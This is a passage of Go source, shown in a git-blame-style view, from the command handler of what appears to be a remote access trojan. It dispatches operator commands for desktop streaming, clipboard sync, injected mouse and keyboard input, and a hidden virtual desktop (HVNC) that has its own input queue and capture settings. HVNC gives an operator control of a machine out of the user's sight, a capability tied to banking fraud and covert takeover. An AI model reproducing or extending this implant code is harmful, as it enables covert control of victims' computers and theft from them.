log.Printf("desktop: select display %d", disp)
|
|
|
|
|
_ = DesktopSelect(ctx, env, disp)
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
case "desktop_enable_mouse":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
enabled := true
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["enabled"].(bool); ok {
|
|
|
|
|
enabled = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
log.Printf("desktop: mouse control %v", enabled)
|
|
|
|
|
_ = DesktopMouseControl(ctx, env, enabled)
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
case "desktop_enable_keyboard":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
enabled := true
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["enabled"].(bool); ok {
|
|
|
|
|
enabled = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
log.Printf("desktop: keyboard control %v", enabled)
|
|
|
|
|
_ = DesktopKeyboardControl(ctx, env, enabled)
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
case "desktop_enable_cursor":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
enabled := false
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["enabled"].(bool); ok {
|
|
|
|
|
enabled = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
log.Printf("desktop: cursor capture %v", enabled)
|
|
|
|
|
_ = DesktopCursorControl(ctx, env, enabled)
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
case "desktop_set_duplication":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
enabled := false
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["enabled"].(bool); ok {
|
|
|
|
|
enabled = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
log.Printf("desktop: duplication capture %v", enabled)
|
|
|
|
|
_ = DesktopDuplicationControl(ctx, env, enabled)
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
case "desktop_set_quality":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
quality := 90
|
|
|
|
|
codec := ""
|
2026-03-06 13:48:47 -06:00
|
|
|
reason := ""
|
|
|
|
|
source := ""
|
2026-03-05 00:04:26 -06:00
|
|
|
if payload != nil {
|
|
|
|
|
if q, ok := payloadInt(payload, "quality"); ok {
|
|
|
|
|
quality = q
|
|
|
|
|
}
|
|
|
|
|
if v, ok := payload["codec"].(string); ok {
|
|
|
|
|
codec = v
|
|
|
|
|
}
|
2026-03-06 13:48:47 -06:00
|
|
|
if v, ok := payload["reason"].(string); ok {
|
|
|
|
|
reason = strings.TrimSpace(v)
|
|
|
|
|
}
|
|
|
|
|
if v, ok := payload["source"].(string); ok {
|
|
|
|
|
source = strings.TrimSpace(v)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
if source != "" || reason != "" {
|
|
|
|
|
log.Printf("desktop: set quality=%d codec=%s source=%s reason=%s", quality, codec, source, reason)
|
|
|
|
|
} else {
|
|
|
|
|
log.Printf("desktop: set quality=%d codec=%s", quality, codec)
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
capture.SetQualityAndCodec(quality, codec)
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
2026-03-17 14:40:41 -05:00
|
|
|
case "desktop_set_resolution":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
maxH := 0 // default = 1080p cap
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payloadInt(payload, "maxHeight"); ok {
|
|
|
|
|
maxH = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
log.Printf("desktop: set max resolution height=%d", maxH)
|
|
|
|
|
capture.SetMaxResolution(maxH)
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
2026-03-28 21:58:16 -05:00
|
|
|
case "clipboard_sync_start":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
source := "rd"
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["source"].(string); ok && v != "" {
|
|
|
|
|
source = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
env.ClipboardSyncMu.Lock()
|
|
|
|
|
if env.ClipboardSyncCancel != nil {
|
|
|
|
|
env.ClipboardSyncCancel()
|
|
|
|
|
if env.ClipboardSyncDone != nil {
|
|
|
|
|
<-env.ClipboardSyncDone
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
syncCtx, syncCancel := context.WithCancel(ctx)
|
|
|
|
|
env.ClipboardSyncCancel = syncCancel
|
|
|
|
|
env.ClipboardSyncSource = source
|
|
|
|
|
done := make(chan struct{})
|
|
|
|
|
env.ClipboardSyncDone = done
|
|
|
|
|
goSafe("clipboard_sync", env.Cancel, func() {
|
|
|
|
|
ClipboardSyncStart(syncCtx, env, source)
|
|
|
|
|
close(done)
|
|
|
|
|
})
|
|
|
|
|
env.ClipboardSyncMu.Unlock()
|
|
|
|
|
log.Printf("clipboard_sync: start (%s)", source)
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
case "clipboard_sync_stop":
|
|
|
|
|
env.ClipboardSyncMu.Lock()
|
|
|
|
|
if env.ClipboardSyncCancel != nil {
|
|
|
|
|
env.ClipboardSyncCancel()
|
|
|
|
|
if env.ClipboardSyncDone != nil {
|
|
|
|
|
<-env.ClipboardSyncDone
|
|
|
|
|
}
|
|
|
|
|
env.ClipboardSyncCancel = nil
|
|
|
|
|
env.ClipboardSyncDone = nil
|
|
|
|
|
}
|
|
|
|
|
env.ClipboardSyncMu.Unlock()
|
|
|
|
|
log.Printf("clipboard_sync: stop")
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
case "clipboard_set":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
text := ""
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["text"].(string); ok {
|
|
|
|
|
text = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
ClipboardSyncSet(text)
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
2026-03-05 00:04:26 -06:00
|
|
|
case "desktop_mouse_move":
|
|
|
|
|
if !env.MouseControl {
|
2026-04-06 18:04:45 -05:00
|
|
|
sendCommandResultAsync(env, cmdID)
|
2026-03-05 00:04:26 -06:00
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
payload := payloadAsMap(envelope["payload"])
|
|
|
|
|
x, _ := payloadInt32(payload, "x")
|
|
|
|
|
y, _ := payloadInt32(payload, "y")
|
|
|
|
|
absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
|
|
|
|
|
setCursorPos(absX, absY)
|
2026-04-06 18:04:45 -05:00
|
|
|
sendCommandResultAsync(env, cmdID)
|
2026-03-05 00:04:26 -06:00
|
|
|
return nil
|
|
|
|
|
case "desktop_mouse_down":
|
|
|
|
|
if !env.MouseControl {
|
2026-04-06 18:04:45 -05:00
|
|
|
sendCommandResultAsync(env, cmdID)
|
2026-03-05 00:04:26 -06:00
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
payload := payloadAsMap(envelope["payload"])
|
|
|
|
|
btn, _ := payloadInt(payload, "button")
|
|
|
|
|
if x, okX := payloadInt32(payload, "x"); okX {
|
|
|
|
|
if y, okY := payloadInt32(payload, "y"); okY {
|
|
|
|
|
absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
|
|
|
|
|
setCursorPos(absX, absY)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
sendMouseDown(btn)
|
2026-04-06 18:04:45 -05:00
|
|
|
sendCommandResultAsync(env, cmdID)
|
2026-03-05 00:04:26 -06:00
|
|
|
return nil
|
|
|
|
|
case "desktop_mouse_up":
|
|
|
|
|
if !env.MouseControl {
|
2026-04-06 18:04:45 -05:00
|
|
|
sendCommandResultAsync(env, cmdID)
|
2026-03-05 00:04:26 -06:00
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
payload := payloadAsMap(envelope["payload"])
|
|
|
|
|
btn, _ := payloadInt(payload, "button")
|
|
|
|
|
if x, okX := payloadInt32(payload, "x"); okX {
|
|
|
|
|
if y, okY := payloadInt32(payload, "y"); okY {
|
|
|
|
|
absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
|
|
|
|
|
setCursorPos(absX, absY)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
sendMouseUp(btn)
|
2026-04-06 18:04:45 -05:00
|
|
|
sendCommandResultAsync(env, cmdID)
|
2026-03-05 00:04:26 -06:00
|
|
|
return nil
|
2026-04-22 16:15:53 -05:00
|
|
|
case "desktop_mouse_wheel":
|
|
|
|
|
if !env.MouseControl {
|
|
|
|
|
sendCommandResultAsync(env, cmdID)
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
payload := payloadAsMap(envelope["payload"])
|
|
|
|
|
delta, _ := payloadInt32(payload, "delta")
|
|
|
|
|
if x, okX := payloadInt32(payload, "x"); okX {
|
|
|
|
|
if y, okY := payloadInt32(payload, "y"); okY {
|
|
|
|
|
absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
|
|
|
|
|
setCursorPos(absX, absY)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
sendMouseWheel(delta)
|
|
|
|
|
sendCommandResultAsync(env, cmdID)
|
|
|
|
|
return nil
|
2026-03-05 00:04:26 -06:00
|
|
|
case "desktop_key_down":
|
|
|
|
|
if !env.KeyboardControl {
|
2026-04-06 18:04:45 -05:00
|
|
|
sendCommandResultAsync(env, cmdID)
|
2026-03-05 00:04:26 -06:00
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
code := ""
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["code"].(string); ok {
|
|
|
|
|
code = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
if vk := keyCodeToVK(code); vk != 0 {
|
|
|
|
|
sendKeyDown(vk)
|
|
|
|
|
}
|
2026-04-06 18:04:45 -05:00
|
|
|
sendCommandResultAsync(env, cmdID)
|
2026-03-05 00:04:26 -06:00
|
|
|
return nil
|
|
|
|
|
case "desktop_key_up":
|
|
|
|
|
if !env.KeyboardControl {
|
2026-04-06 18:04:45 -05:00
|
|
|
sendCommandResultAsync(env, cmdID)
|
2026-03-05 00:04:26 -06:00
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
code := ""
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["code"].(string); ok {
|
|
|
|
|
code = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
if vk := keyCodeToVK(code); vk != 0 {
|
|
|
|
|
sendKeyUp(vk)
|
|
|
|
|
}
|
2026-04-06 18:04:45 -05:00
|
|
|
sendCommandResultAsync(env, cmdID)
|
2026-03-05 00:04:26 -06:00
|
|
|
return nil
|
|
|
|
|
case "desktop_text":
|
|
|
|
|
if !env.KeyboardControl {
|
2026-04-06 18:04:45 -05:00
|
|
|
sendCommandResultAsync(env, cmdID)
|
2026-03-05 00:04:26 -06:00
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
text := ""
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["text"].(string); ok {
|
|
|
|
|
text = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
if text != "" {
|
|
|
|
|
sendTextInput(text)
|
|
|
|
|
}
|
2026-04-06 18:04:45 -05:00
|
|
|
sendCommandResultAsync(env, cmdID)
|
2026-03-05 00:04:26 -06:00
|
|
|
return nil
|
|
|
|
|
|
|
|
|
|
// ==================== HVNC COMMANDS ====================
|
|
|
|
|
case "hvnc_start":
|
2026-03-17 00:31:28 -05:00
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
autoStartExplorer := false
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["autoStartExplorer"].(bool); ok {
|
|
|
|
|
autoStartExplorer = v
|
|
|
|
|
}
|
|
|
|
|
}
|
2026-03-05 00:04:26 -06:00
|
|
|
env.HVNCMu.Lock()
|
|
|
|
|
if env.HVNCCancel != nil {
|
|
|
|
|
env.HVNCCancel()
|
|
|
|
|
waitStreamStop(env.HVNCDone, "hvnc")
|
|
|
|
|
}
|
|
|
|
|
hvncCtx, cancel := context.WithCancel(ctx)
|
|
|
|
|
env.HVNCCancel = cancel
|
|
|
|
|
done := make(chan struct{})
|
|
|
|
|
env.HVNCDone = done
|
|
|
|
|
goSafe("hvnc stream", env.Cancel, func() {
|
2026-03-17 00:31:28 -05:00
|
|
|
log.Printf("hvnc: start requested (autoStartExplorer=%v)", autoStartExplorer)
|
|
|
|
|
_ = HVNCStart(hvncCtx, env, autoStartExplorer)
|
2026-03-05 00:04:26 -06:00
|
|
|
close(done)
|
|
|
|
|
})
|
|
|
|
|
env.HVNCMu.Unlock()
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
case "hvnc_stop":
|
|
|
|
|
env.HVNCMu.Lock()
|
|
|
|
|
log.Printf("hvnc: stop requested")
|
2026-03-09 19:16:13 -05:00
|
|
|
env.HVNCMouseControl = false
|
|
|
|
|
env.HVNCKeyboardControl = false
|
|
|
|
|
env.HVNCCursorCapture = false
|
|
|
|
|
clearHVNCInputQueue()
|
2026-03-05 00:04:26 -06:00
|
|
|
if env.HVNCCancel != nil {
|
|
|
|
|
env.HVNCCancel()
|
|
|
|
|
}
|
|
|
|
|
waitStreamStop(env.HVNCDone, "hvnc")
|
|
|
|
|
env.HVNCCancel = nil
|
|
|
|
|
env.HVNCDone = nil
|
|
|
|
|
env.HVNCMu.Unlock()
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
case "hvnc_select_display":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
disp := 0
|
|
|
|
|
if payload != nil {
|
|
|
|
|
displayVal := payload["display"]
|
|
|
|
|
if v, ok := displayVal.(int8); ok {
|
|
|
|
|
disp = int(v)
|
|
|
|
|
} else if v, ok := displayVal.(int16); ok {
|
|
|
|
|
disp = int(v)
|
|
|
|
|
} else if v, ok := displayVal.(int32); ok {
|
|
|
|
|
disp = int(v)
|
|
|
|
|
} else if v, ok := displayVal.(int64); ok {
|
|
|
|
|
disp = int(v)
|
|
|
|
|
} else if v, ok := displayVal.(int); ok {
|
|
|
|
|
disp = v
|
|
|
|
|
} else if v, ok := displayVal.(uint8); ok {
|
|
|
|
|
disp = int(v)
|
|
|
|
|
} else if v, ok := displayVal.(float64); ok {
|
|
|
|
|
disp = int(v)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
log.Printf("hvnc: select display %d", disp)
|
|
|
|
|
_ = HVNCSelect(ctx, env, disp)
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
case "hvnc_enable_mouse":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
enabled := true
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["enabled"].(bool); ok {
|
|
|
|
|
enabled = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
log.Printf("hvnc: mouse control %v", enabled)
|
|
|
|
|
_ = HVNCMouseControl(ctx, env, enabled)
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
case "hvnc_enable_keyboard":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
enabled := true
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["enabled"].(bool); ok {
|
|
|
|
|
enabled = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
log.Printf("hvnc: keyboard control %v", enabled)
|
|
|
|
|
_ = HVNCKeyboardControl(ctx, env, enabled)
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
case "hvnc_enable_cursor":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
enabled := false
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["enabled"].(bool); ok {
|
|
|
|
|
enabled = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
log.Printf("hvnc: cursor capture %v", enabled)
|
|
|
|
|
_ = HVNCCursorControl(ctx, env, enabled)
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
2026-04-16 10:01:49 -05:00
|
|
|
case "hvnc_enable_dxgi":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
dxgiEnabled := true
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["enabled"].(bool); ok {
|
|
|
|
|
dxgiEnabled = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
log.Printf("hvnc: DXGI capture %v", dxgiEnabled)
|
|
|
|
|
capture.SetHVNCDXGIEnabled(dxgiEnabled)
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
2026-04-24 19:20:58 -05:00
|
|
|
case "hvnc_enable_uia":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
uiaEnabled := true
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payload["enabled"].(bool); ok {
|
|
|
|
|
uiaEnabled = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
log.Printf("hvnc: UIA support %v", uiaEnabled)
|
|
|
|
|
capture.SetHVNCUIAEnabled(uiaEnabled)
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
2026-04-16 10:01:49 -05:00
|
|
|
case "hvnc_set_resolution":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
maxH := 1080
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if v, ok := payloadInt(payload, "maxHeight"); ok {
|
|
|
|
|
maxH = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
log.Printf("hvnc: set resolution maxHeight=%d", maxH)
|
|
|
|
|
capture.SetMaxResolution(maxH)
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
2026-03-05 00:04:26 -06:00
|
|
|
case "hvnc_set_quality":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
quality := 90
|
|
|
|
|
codec := ""
|
|
|
|
|
if payload != nil {
|
|
|
|
|
if q, ok := payloadInt(payload, "quality"); ok {
|
|
|
|
|
quality = q
|
|
|
|
|
}
|
|
|
|
|
if v, ok := payload["codec"].(string); ok {
|
|
|
|
|
codec = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
log.Printf("hvnc: set quality=%d codec=%s", quality, codec)
|
|
|
|
|
capture.SetQualityAndCodec(quality, codec)
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
case "hvnc_mouse_move":
|
|
|
|
|
if !env.HVNCMouseControl {
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
x, y := int32(0), int32(0)
|
|
|
|
|
if payload != nil {
|
|
|
|
|
switch v := payload["x"].(type) {
|
|
|
|
|
case float64:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case float32:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case int:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case int8:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case int16:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case int32:
|
|
|
|
|
x = v
|
|
|
|
|
case int64:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint8:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint16:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint32:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint64:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
}
|
|
|
|
|
switch v := payload["y"].(type) {
|
|
|
|
|
case float64:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case float32:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case int:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case int8:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case int16:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case int32:
|
|
|
|
|
y = v
|
|
|
|
|
case int64:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint8:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint16:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint32:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint64:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
}
|
|
|
|
|
}
|
2026-03-09 19:16:13 -05:00
|
|
|
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseMove, display: env.HVNCSelectedDisplay, x: x, y: y})
|
2026-03-05 00:04:26 -06:00
|
|
|
return nil
|
|
|
|
|
case "hvnc_mouse_down":
|
|
|
|
|
if !env.HVNCMouseControl {
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
btn := 0
|
|
|
|
|
x, y := int32(0), int32(0)
|
|
|
|
|
if payload != nil {
|
|
|
|
|
switch v := payload["button"].(type) {
|
|
|
|
|
case float64:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case float32:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case int:
|
|
|
|
|
btn = v
|
|
|
|
|
case int8:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case int16:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case int32:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case int64:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case uint:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case uint8:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case uint16:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case uint32:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case uint64:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
}
|
|
|
|
|
switch v := payload["x"].(type) {
|
|
|
|
|
case float64:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case float32:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case int:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case int8:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case int16:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case int32:
|
|
|
|
|
x = v
|
|
|
|
|
case int64:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint8:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint16:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint32:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint64:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
}
|
|
|
|
|
switch v := payload["y"].(type) {
|
|
|
|
|
case float64:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case float32:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case int:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case int8:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case int16:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case int32:
|
|
|
|
|
y = v
|
|
|
|
|
case int64:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint8:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint16:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint32:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint64:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
}
|
|
|
|
|
}
|
2026-03-09 19:16:13 -05:00
|
|
|
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseDown, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y})
|
2026-03-05 00:04:26 -06:00
|
|
|
return nil
|
|
|
|
|
case "hvnc_mouse_up":
|
|
|
|
|
if !env.HVNCMouseControl {
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
btn := 0
|
|
|
|
|
x, y := int32(0), int32(0)
|
|
|
|
|
if payload != nil {
|
|
|
|
|
switch v := payload["button"].(type) {
|
|
|
|
|
case float64:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case float32:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case int:
|
|
|
|
|
btn = v
|
|
|
|
|
case int8:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case int16:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case int32:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case int64:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case uint:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case uint8:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case uint16:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case uint32:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
case uint64:
|
|
|
|
|
btn = int(v)
|
|
|
|
|
}
|
|
|
|
|
switch v := payload["x"].(type) {
|
|
|
|
|
case float64:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case float32:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case int:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case int8:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case int16:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case int32:
|
|
|
|
|
x = v
|
|
|
|
|
case int64:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint8:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint16:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint32:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
case uint64:
|
|
|
|
|
x = int32(v)
|
|
|
|
|
}
|
|
|
|
|
switch v := payload["y"].(type) {
|
|
|
|
|
case float64:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case float32:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case int:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case int8:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case int16:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case int32:
|
|
|
|
|
y = v
|
|
|
|
|
case int64:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint8:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint16:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint32:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
case uint64:
|
|
|
|
|
y = int32(v)
|
|
|
|
|
}
|
|
|
|
|
}
|
2026-03-09 19:16:13 -05:00
|
|
|
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseUp, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y})
|
2026-03-05 00:04:26 -06:00
|
|
|
return nil
|
|
|
|
|
case "hvnc_mouse_wheel":
|
|
|
|
|
if !env.HVNCMouseControl {
|
|
|
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
delta := int32(0)
|
|
|
|
|
x, y := int32(0), int32(0)
|
|
|
|
|
if payload != nil {
|
|
|
|
|
switch v := payload["delta"].(type) {
|
|
|
|
|
case float64:
|
|
|
|
|
delta = int32(v)
|
|
|
|
|
case float32:
|
|
|
|
|
delta = int32(v)
|
|
|
|
|
case int:
|
|
|
|
|
delta = int32(v)
|
|
|
|
|
case int8:
|
|
|
|
|
delta = int32(v)
|
|
|
|
|
case int16:
|
|
